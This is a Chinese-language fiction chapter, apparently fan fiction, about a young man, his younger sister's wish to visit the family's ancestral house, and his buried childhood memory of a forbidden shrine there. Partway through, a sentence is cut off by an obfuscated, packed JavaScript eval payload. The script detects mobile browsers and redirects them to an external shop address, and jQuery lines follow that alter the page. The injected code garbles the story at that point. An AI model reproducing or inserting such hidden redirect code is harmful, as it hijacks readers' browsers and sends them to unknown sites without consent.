昭十三岁那年的秋天，迷上了时代剧。
周末的午后，她窝在沙发里，眼睛盯着电视屏幕。屏幕上，穿着华丽和服的贵族女子走在长长的回廊上，庭院里的枯山水在阳光下泛着青灰色的光泽，纸拉门上映着竹影，一切都精致、安静、遥远。
“哥哥，”昭忽然开口，眼睛还盯着电视，“这种大大的庭院，哥哥去过吗？”我削苹果的手顿了一下，“去过。”我说。
她立刻转过头来，眼睛亮晶晶的：“真的？在哪里？”
“在……长野。”我继续削苹果，苹果皮连成长长的一条，垂到垃圾桶里，“是伏黑家的祖宅。”
“祖宅？”她坐直身体，“昭怎么不知道？”
“因为很久没人住了。”我说，“在昭出生前，我们就搬出来了。”
她凑过来，接过我递过去的苹果片，咬了一口，含糊不清地问：“很大吗？像电视里这样？”
我回忆着。记忆里的祖宅确实很大。不过不是时代剧里那种华丽的贵族宅邸，而是更朴素的、古老的日式建筑。长长的回廊连接着主屋和别栋，庭院里没有枯山水，只有几棵巨大的榉树和一片野草丛生的池塘。夏天蝉鸣震耳欲聋，秋天落叶铺满石板路。
“比电视里旧一点，但很大。”我说，“昭如果出生在那里，可能会在回廊上跑来跑去，在庭院里抓虫子，在池塘边看蜻蜓。”
她想象着那个画面，眼睛弯起来：“听起来好好玩。”
“嗯。”我把最后一片苹果递给她，“但是也很冷。冬天特别冷，地板缝里会漏风。”
“那为什么搬出来了？”
这个问题很自然，但我不知道该怎么回答。因为真相太复杂，太黑暗，太不适合一个十三岁的孩子知道。
“因为……爸爸妈妈想在东京生活。”我说了部分的真相，“东京更方便，有更好的学校，更好的工作机会。”
昭点点头，接受了这个解释。她又转回去看电视，但过了一会儿，又转回来：“哥哥，祖宅现在还在吗？”
“在。”
“我们可以去看看吗？”
我削苹果的刀差点划到手，“为什么想去？”我问。
“因为……”她想了想，“那是哥哥小时候住过的地方啊。昭想知道哥哥长大的地方是什么样子。”
她说得那么自然，那么理所当然，就像其他孩子会好奇父母的老家一样。她不知道那里藏着什么，不知道那把黄铜钥匙为什么一直锁在盒子里，不知道父母为什么宁愿一次次搬家也不愿回去。
但她的问题像一把钥匙，打开了被我尘封多年的记忆。
我想起了四岁那年的事。
那时我们还住在祖宅。对四岁的我来说，那座大宅子就是整个世界。我可以花一整个下午在回廊上奔跑，脚步声在空荡的宅子里回响；可以在庭院里追蝴蝶，直到累得瘫倒在草地上；可以躲在储藏室的旧衣箱里，假装自己是探险家。
但有一个地方，父亲明确禁止我去。
后院最深处的祠堂。
祠堂是一栋独立的小建筑，离主屋很远，被茂密的竹林环绕。门永远是锁着的，一把很大的老式挂锁，锁扣已经锈迹斑斑。父亲说，那里放着祖先的牌位，小孩子不能去打扰。
但四岁的孩子，越是被禁止，就越是好奇。
我试过好几次偷偷溜过去。但每次我靠近竹林，父亲总会恰好出现，把我抱起来，带回主屋。他的表情总是很严肃，声音很沉：“和也，那里不能去。”
“为什么？”
“没有为什么。”
这种回答当然满足不了孩子的好奇心。
直到那天。
我不记得具体是哪天了，只记得是夏天，蝉鸣声大得让人烦躁。我像往常一样想溜去祠堂，但这次，父亲不在家，他和母亲去了镇上买东西。
机会来了。
我穿过庭院，跑过竹林间的小径。祠堂就在眼前，木质的建筑在夏日的阳光下泛着陈旧的光泽。我放慢脚步，心脏怦怦跳。
然后我看见了，门开了。不是完全敞开，是开了一条缝。大概一掌宽，里面黑漆漆的，什么也看不见。
锁呢？
我走近，发现那把大挂锁掉在地上，锁扣断了，像是被什么东西硬生生扯断的。
风吹过竹林，竹叶沙沙作响。祠堂的门在风里轻轻晃动，发出吱呀，吱呀的声音。我站在门口，看着那条黑暗的门缝。
里面有什么？
祖先的牌位？还是别的什么？
四岁的好奇心压过了恐惧。我伸出手，推开了门。
随着一声令人牙酸的吱呀声，门完全敞开了。
里面的景象，我现在已经记不清了。不是忘记，是记忆本身就很模糊，像隔着一层毛玻璃看东西，只有轮廓，没有细节。我记得有烛台，有供桌，有……别的什么。但具体是什么，想不起来。
我只记得一种感觉。
冷。不是温度的冷，是另一种冷，从骨头里渗出来的冷。还有气味，线香混合着陈旧木头的气味，还有一种……甜腻的、让人不舒服的气味。
我好像走了进去。走了几步？不记得了。然后的事情，完全空白。
下一个清晰的记忆，是醒来时躺在自己的房间里。母亲坐在床边，眼睛红肿。父亲站在门口，脸色苍白。“和也，”母亲的声音在抖，“你去了祠堂？”
我点头。
父亲走过来，第一次，也是唯一一次，用力抓住我的肩膀。他的手在抖。“你看到了什么？”他的声音很低，很低。
我努力回想，但脑子里一片空白：“不记得了……”
父亲盯着我的眼睛看了很久，然后松开手，转身走出房间。我听见他和母亲在走廊上低声说话，声音压抑，但我听不清内容。
那之后不久，我们就搬离了祖宅。
先是搬到长野市内的公寓，然后是东京郊区，再然后是东京市区。几年搬一次家，每次搬家父亲都会说“这次找个更好的地方”，但从不说为什么要搬。
关于祠堂，关于那天的事，他们一个字都没再提起。
就像什么都没发生过，就像只要他们不说，我就不会记得，诅咒就不会跟上我一样。
“哥哥？”昭的声音把我从回忆里拉回来。她正担忧地看着我：“哥哥的脸色好白，不舒服吗？”
我放下水果刀，才发现自己的手在抖。“没事。”我挤出一个笑容，“只是想起了一些小时候的事。”
“什么事？”
“关于祖宅的事。”我斟酌着词句，“那里……确实很大，但也很旧。昭现在去的话，可能会失望。”
“可是昭还是想去看看。”她坚持，“那是哥哥小时候住过的地方，是爸爸妈妈长大的地方。”
我的家。爸爸妈妈的家。
这些词让我心里一紧。祖宅是家吗？曾经是。但现在，家是这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437230|200975||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小小的公寓，是这个窝在沙发里吃苹果的昭，是玄关她乱放的鞋子，是冰箱上她贴的便条，是浴室里她忘了收起来的发圈。
“等昭再大一点吧。”我说，“等哥哥有空的时候。”
她点点头，没再追问，转回去继续看电视。时代剧里的贵族女子正在庭院里赏月，月光洒在枯山水上，一片静谧。
我起身去厨房倒水，手还在微微发抖。
水杯送到嘴边时，我忽然想起一件事。四岁那年从祠堂回来后，我好像生了一场病。高烧，说胡话，持续了好几天。医生来看过，说是夏季感冒，但母亲一直哭，父亲整夜整夜地守在床边。最后来了一个穿黑衣服的人，看起来没什么精神，只是抱着我在一个地方走来走去，然后我就病好了。
病好后，我忘记了很多事。不，不是忘记，是记忆被覆盖了，被普通的、安全的、没有祠堂没有黑影的记忆覆盖了。
直到十八岁那年，那些记忆才被血和死亡重新撕开。
而现在，昭想去祖宅。她想去看看我长大的地方，想去看看那个大大的庭院。
我该怎么告诉她，那里可能藏着我们家族最黑暗的秘密？该怎么告诉她，那把黄铜钥匙之所以一直锁着，是因为它打开的不只是一扇门，而是一个可能吞噬一切的深渊？
“哥哥，”昭的声音从客厅传来，“电视剧结束了。我们晚上吃什么？”我放下水杯，走回客厅。她已经关掉电视，正跪在沙发上整理靠垫。“昭想吃什么？”我问。
“咖喱！”她立刻说，“要放很多胡萝卜和土豆的那种。”
“好。”
我走进厨房，开始准备晚餐。切洋葱时，眼睛被辣出眼泪。我擦了擦，继续切。昭跟进来，站在旁边看我做饭。“哥哥，”她忽然说，“如果有一天，昭做了让哥哥很生气的事，哥哥会原谅昭吗？”
我一怔：“为什么这么问？”
“因为……”她低头玩着围裙的带子，“昭有时候会想，如果昭不听话，哥哥会不会不要昭了。”
我放下刀，转身面对她。“昭，”我认真地说，“无论昭做什么，哥哥都不会不要昭。永远不会。”
“真的？”
“真的。”我说，“因为昭是哥哥的妹妹，是哥哥最重要的人。”
她笑了，眼睛又弯成月牙：“昭也是。哥哥是昭最重要的人。”
咖喱在锅里咕嘟咕嘟地炖着，香气弥漫整个厨房。窗外，秋日的夕阳正在下沉，把天空染成温暖的橙色。
在这个平凡的、温暖的傍晚，我做出了一个决定，我不会带昭去祖宅。
永远不会。
那些黑暗的、危险的、无法理解的东西，就让我一个人去面对吧。
而昭，她只需要在这个温暖的厨房里，等着吃咖喱，等着看电视剧，等着长大，等着拥有一个没有祠堂、没有诅咒、没有黑影的未来。
“哥哥，”昭忽然说，“咖喱好像糊了。”我回过神，赶紧关火。锅底确实有点焦，但还好，还能吃。“对不起。”我说。
“没关系。”她拿出碗筷，“只要是哥哥做的，昭都爱吃。”
我们坐在餐桌前，开始吃晚餐。昭吃得很香，腮帮子鼓鼓的。
本来我还在犹豫要不要回去一趟，但是现在我决定了，我不会去的。我不会再次打开那扇门，再次看着我珍视的人被阴影笼罩。
但很久之后，我才知道。
我的想法，很可笑。